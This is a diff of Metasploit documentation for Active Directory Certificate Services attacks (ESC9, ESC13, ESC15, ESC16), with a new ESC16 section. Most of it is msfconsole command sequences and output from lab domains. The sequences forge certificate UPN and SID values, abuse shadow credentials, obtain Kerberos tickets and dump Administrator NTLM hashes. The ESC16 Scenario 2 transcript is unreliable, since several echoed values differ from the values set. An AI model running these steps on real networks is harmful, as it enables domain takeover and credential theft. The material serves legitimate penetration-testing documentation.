+[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.1 (Server Authentication)
+[*] 172.16.199.200:445 -   * 1.3.6.1.4.1.311.20.2.2 (Smart Card Logon)
+[*] 172.16.199.200:445 - Certificate UPN: DC2$@kerberos.issue
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
+[*] 172.16.199.200:445 - reverting ldap object
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[+] Deleted entry with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: DC2$@kerberos.issue
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use ldap_login
+[*] Using auxiliary/scanner/ldap/ldap_login
+[*] The CreateSession option within this module can open an interactive session
+
+msf6 auxiliary(scanner/ldap/ldap_login) > run ssl=true rhosts=172.16.199.200 LDAP::Auth=schannel LDAP::CertFile=/Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
+[+] Success: 'Cert File /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx'
+[*] LDAP session 1 opened (172.16.199.1:58674 -> 172.16.199.200:389) at 2025-07-17 14:35:08 -0700
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Bruteforce completed, 1 credential was successful.
+[*] 1 LDAP session was opened successfully.
+[*] Auxiliary module execution completed
+msf6 auxiliary(scanner/ldap/ldap_login) > sessions -l
+
+Active sessions
+===============
+
+  Id  Name  Type  Information                     Connection
+  --  ----  ----  -----------                     ----------
+  1         ldap  LDAP DC2$ @ 172.16.199.200:389  172.16.199.1:58674 -> 172.16.199.200:389 (172.16.199.200)
+
+```
+
 # Exploiting ESC13
 To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
 Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
@@ -931,7 +1327,7 @@ permissions will be included in the resulting Kerberos ticket in the notes secti
 ESC13-Test template is vulnerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
 
 ```
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
 ...
 [+] Template: ESC13-Test
 [*]   Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
@@ -954,20 +1350,20 @@ In this case, the ticket can be issued with the `icpr_cert` module. No additiona
 certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
 
 ```
-msf6 > use auxiliary/admin/dcerpc/icpr_cert 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf > use auxiliary/admin/dcerpc/icpr_cert 
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
 SMBDomain => COLLALABS1
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
 CA => collalabs1-SRV-ADDS01-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
 CERT_TEMPLATE => ESC13-Test
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [+] 172.30.239.85:445 - The requested certificate was issued.
@@ -976,7 +1372,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
 [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```
 
 We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
@@ -993,25 +1389,25 @@ used for authentication to LDAP via SCHANNEL. The operator can then perform LDAP
 specified in the alternate UPN.
 
 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
 SMBDomain => COLLALABS1
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
 CA => collalabs1-SRV-ADDS01-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
 CERT_TEMPLATE => ESC15-Test
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.5.5.7.3.2
+msf auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.5.5.7.3.2
 ADD_CERT_APP_POLICY => 1.3.6.1.5.5.7.3.2
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN administrator@collalabs1.local
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN administrator@collalabs1.local
 ALT_UPN => administrator@collalabs1.local
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
 ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -1021,7 +1417,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
 [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009171337_default_172.30.239.85_windows.ad.cs_089081.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```
 
 Certificates issued using this technique are not directly able to be used for Kerberos authentication via PKINIT.
@@ -1029,21 +1425,21 @@ However, the attack can be modified by adding the Certificate Request Agent OID
 certificate that can issue additional certificates in a manner similar to ESC2 which are compatible with PKINIT.
 
 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
 SMBDomain => COLLALABS1
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
 CA => collalabs1-SRV-ADDS01-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
 CERT_TEMPLATE => ESC15-Test
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.4.1.311.20.2.1
+msf auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.4.1.311.20.2.1
 ADD_CERT_APP_POLICY => 1.3.6.1.4.1.311.20.2.1
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -1053,24 +1449,24 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 -   * 1.3.6.1.4.1.311.20.2.1 (Certificate Request Agent)
 [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```
 
 Next, the certificate is used in conjunction with the `PFX` and `ON_BEHALF_OF` options to issue a certificate compatible
 with Kerberos as the privileged user (previously `ALT_UPN`).
 
 ```
-msf6 auxiliary(admin/dcerpc/icpr_cert) > unset ADD_CERT_APP_POLICY 
+msf auxiliary(admin/dcerpc/icpr_cert) > unset ADD_CERT_APP_POLICY 
 Unsetting ADD_CERT_APP_POLICY...
-msf6 auxiliary(admin/dcerpc/icpr_cert) > unset ALT_UPN 
+msf auxiliary(admin/dcerpc/icpr_cert) > unset ALT_UPN 
 Unsetting ALT_UPN...
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
 CERT_TEMPLATE => User
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF COLLALABS1\\administrator
+msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF COLLALABS1\\administrator
 ON_BEHALF_OF => COLLALABS1\\administrator
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
+msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
 PFX => /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -1079,11 +1475,173 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate UPN: administrator@collalabs1.local
 [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009172817_default_172.30.239.85_windows.ad.cs_427087.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```
 
 Finally, *this* certificate can be used to authenticate to Kerberos with the `kerberos/get_ticket` module.
 
+# Exploiting ESC16
+ESC16 refers to a CA-level misconfiguration where the SID security extension (OID `1.3.6.1.4.1.311.25.2`), introduced in
+the May 2022 KB5014754 update, is globally disabled. This extension allows domain controllers to securely map
+certificates to user or computer SIDs for strong authentication.
+
+When this OID is listed under the CA’s `DisableExtensionList` registry key, which is located:
+`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
+all certificates issued by the CA will lack the SID binding, making every template behave as though it has the 
+`CT_FLAG_NO_SECURITY_EXTENSION` flag (essentially ESC9). After updating the `DisableExtensionList` the machine will need
+to be restarted for the changes to take effect. The `DisableExtensionList` under the default policy can be updated in
+order to exploit (a new policy is not required).
+
+## ESC16 Scenario 1
+If domain controllers aren’t in Full Enforcement mode (`StrongCertificateBindingEnforcement` != 2), they fall back to
+weaker mapping methods like UPN or DNS from the certificate’s SAN potentially reintroducing risks similar to the
+Certifried vulnerability (CVE-2022-26923) or ESC9 however for our purposes given the `DisableExtensionList` is called 
+"ESC16 Scenario 1". The way you exploit ESC16 scenario 1 with Metasploit is identical to how you would exploit ESC9:
+
+```
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
+target_username => user2
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
+ldapusername => user1
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
+UPDATE_LDAP_OBJECT_VALUE => Administrator
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-dc2-ca
+ca => kerberos-dc2-ca
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC16-Template
+cert_template => ESC16-Template
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: user2
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for user2
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_windows.ad.cs_473934.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 0d055983-7921-797a-529e-259b4b7542a2
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for user2
+[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_930617.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_355422.bin
+[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 - Certificate UPN: Administrator
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx
+[*] 172.16.199.200:445 - reverting ldap object
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[+] Deleted entry with device ID 0d055983-7921-797a-529e-259b4b7542a2
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: Administrator
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+```
+
+With the certificate issued, the attacker can then use the `kerberos/get_ticket` module to obtain the hash of the admin user:
+```
+msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=//Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx username=Administrator domain=kerberos.issue
+[*] Running module against 172.16.199.200
+[!] Warning: Provided principal and realm (Administrator@kerberos.issue) do not match entries in certificate:
+[!]   * Administrator@
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_344926.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_598018.bin
+[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[*] Auxiliary module execution completed
+```
+
+#### ESC16 Scenario 2
+If domain controllers are in Full Enforcement mode (`StrongCertificateBindingEnforcement` == 2), ESC16 alone would normally
+prevent authentication using certificates that lack the required SID extension. However, if the CA is also vulnerable
+to ESC6, which is defined as: `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set under it's `EditFlags` registry key, located here:
+`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
+then the CA accepts arbitrary SAN values from certificate request attribute and an attacker can still bypass strong
+certificate mapping.
+
+In this case, the attacker requests a certificate from the ESC16-affected CA using any client authentication template
+(like "User"), which ensures the SID security extension is omitted. At the same time, they exploit the ESC6 weakness to
+inject a custom Subject Alternative Name that includes both a forged UPN and a specially crafted SID value using the format:
+`URI:tag:microsoft.com,2022-09-14:sid:<SID>`. This format was introduced in the May 2022 KB5014754 update and
+intended to help support strong certificate mappings between the user SID and the certificate.
+
+Because the certificate lacks the official SID extension (due to ESC16) but includes a valid-looking SAN SID URI
+(via ESC6), the domain controller accepts it and maps the certificate using the supplied SID—even in Full Enforcement mode.
+
+The way you would exploit ESC16 Scenario 2 with Metasploit is different than Scenario 1 as we don't need to update
+any LDAP objects, and so we can use the `icpr_cert` module to request a certificate. 
+```
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set alt_sid S-1-5-21-2324486357-3075865580-3606784161-500
+alt_sid => S-1-5-21-1655260159-4293876351-2321352318-500
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set alt_upn Administrator@kerberos.issue
+alt_upn => Administrator@msf.local
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set ca kerberos-DC2-CA
+ca => msf-DC3-CA
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set cert_template User
+cert_template => User
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set RHOSTS 172.16.199.200
+RHOSTS => 172.16.199.130
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set smbdomain kerberos.issue
+smbdomain => msf.local
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set smbpass N0tpassword!
+smbpass => N0tpassword!
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set smbuser user1
+smbuser => user1
+msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+[*] Running module against 172.16.199.200
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.4 (Secure Email)
+[*] 172.16.199.200:445 -   * 1.3.6.1.4.1.311.10.3.4 (Encrypting File System)
+[*] 172.16.199.200:445 - Certificate UPN: Administrator@kerberos.issue
+[*] 172.16.199.200:445 - Certificate URI: tag:microsoft.com,2022-09-14:sid:S-1-5-21-2324486357-3075865580-3606784161-500, S-1-5-21-2324486357-3075865580-3606784161-500
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
+[*] Auxiliary module execution completed
+
+
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use admin/kerberos/get_ticket
+[*] Using action GET_TGT - view all 3 actions with the show actions command
+msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
+[*] Running module against 172.16.199.200
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_635830.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_787259.bin
+[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[*] Auxiliary module execution completed
+```
+
 # Authenticating With A Certificate
 Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
 further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
@@ -1100,7 +1658,7 @@ Certificates can be used to obtain the NTLM hash of an account with the PKINIT e
 action to `GET_HASH`.
 
 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
+msf auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
 [*] Running module against 172.30.239.85
 
 [+] 172.30.239.85:88 - Received a valid TGT-Response
@@ -1110,7 +1668,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_f
 [*] 172.30.239.85:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_031414.bin
 [+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/kerberos/get_ticket) >
+msf auxiliary(admin/kerberos/get_ticket) >
 ```
 
 ### Getting A Kerberos Ticket
@@ -1118,21 +1676,21 @@ Certificates can be used to issue a Kerberos ticket granting ticket (TGT) which
 services such as HTTP, LDAP and SMB. Ticket granting tickets can be requested using the `GET_TGT` action.
 
 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx
+msf auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx
 [*] Running module against 172.30.239.85
 
 [*] 172.30.239.85:88 - Getting TGT for Administrator@daforest.com
 [+] 172.30.239.85:88 - Received a valid TGT-Response
 [*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/kerberos/get_ticket) > klist
+msf auxiliary(admin/kerberos/get_ticket) > klist
 Kerberos Cache
 ==============
 host           principal                   sname                             issued                     status  path
 ----           ---------                   -----                             ------                     ------  ----
 172.30.239.85  Administrator@daforest.com  krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL  2023-01-24 20:23:54 -0500  valid   /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
 
-msf6 auxiliary(admin/kerberos/get_ticket) >
+msf auxiliary(admin/kerberos/get_ticket) >
 ```
 
 Once the TGT has been issued, it can be seen in the output of the `klist` command. With the TGT saved, it will
@@ -1148,16 +1706,16 @@ use schannel authentication a few options must be set.
 * `SSL` -- must be set to `true` (`schannel` authentication is only compatible with TLS connections)
 
 ```msf
-msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85
+msf auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(gather/ldap_query) > set LDAP::Auth schannel
+msf auxiliary(gather/ldap_query) > set LDAP::Auth schannel
 LDAP::Auth => schannel
-msf6 auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
+msf auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
 LDAP::CertFile => /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
-msf6 auxiliary(gather/ldap_query) > set SSL true
+msf auxiliary(gather/ldap_query) > set SSL true
 [!] Changing the SSL option's value may require changing RPORT!
 SSL => true
-msf6 auxiliary(gather/ldap_query) > enum_domain
+msf auxiliary(gather/ldap_query) > enum_domain
 [*] Running module against 172.30.239.85
 
 [*] Discovering base DN automatically
@@ -1178,5 +1736,5 @@ DC=msflab DC=local
  objectsid                  S-1-5-21-3402587289-1488798532-3618296993
 
 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/ldap_query) >
+msf auxiliary(gather/ldap_query) >
 ```

docs/metasploit-framework.wiki/ad-certificates/overview.md

@@ -52,79 +52,4 @@ Microsoft provides a very useful [training module](https://learn.microsoft.com/e
 that covers the fundamentals of AD CS and as well as examples which cover the management of certificate enrollment, certificate revocation and certificate trusts.
 
 ## Setting up A Vulnerable AD CS Server
-The following steps assume that you have installed an AD CS on either a new or existing domain controller.
-### Installing AD CS
-1. Open the Server Manager
-2. Select Add roles and features
-3. Select "Active Directory Certificate Services" under the "Server Roles" section
-4. When prompted add all of the features and management tools
-5. On the AD CS "Role Services" tab, leave the default selection of only "Certificate Authority"
-6. Completion the installation and reboot the server
-7. Reopen the Server Manager
-8. Go to the AD CS tab and where it says "Configuration Required", hit "More" then "Configure Active Directory Certificate..."
-9. Select "Certificate Authority" in the Role Services tab
-10. Select "Enterprise CA" in the "Setup Type" tab (the user must be a Domain Administrator for this option to be available)
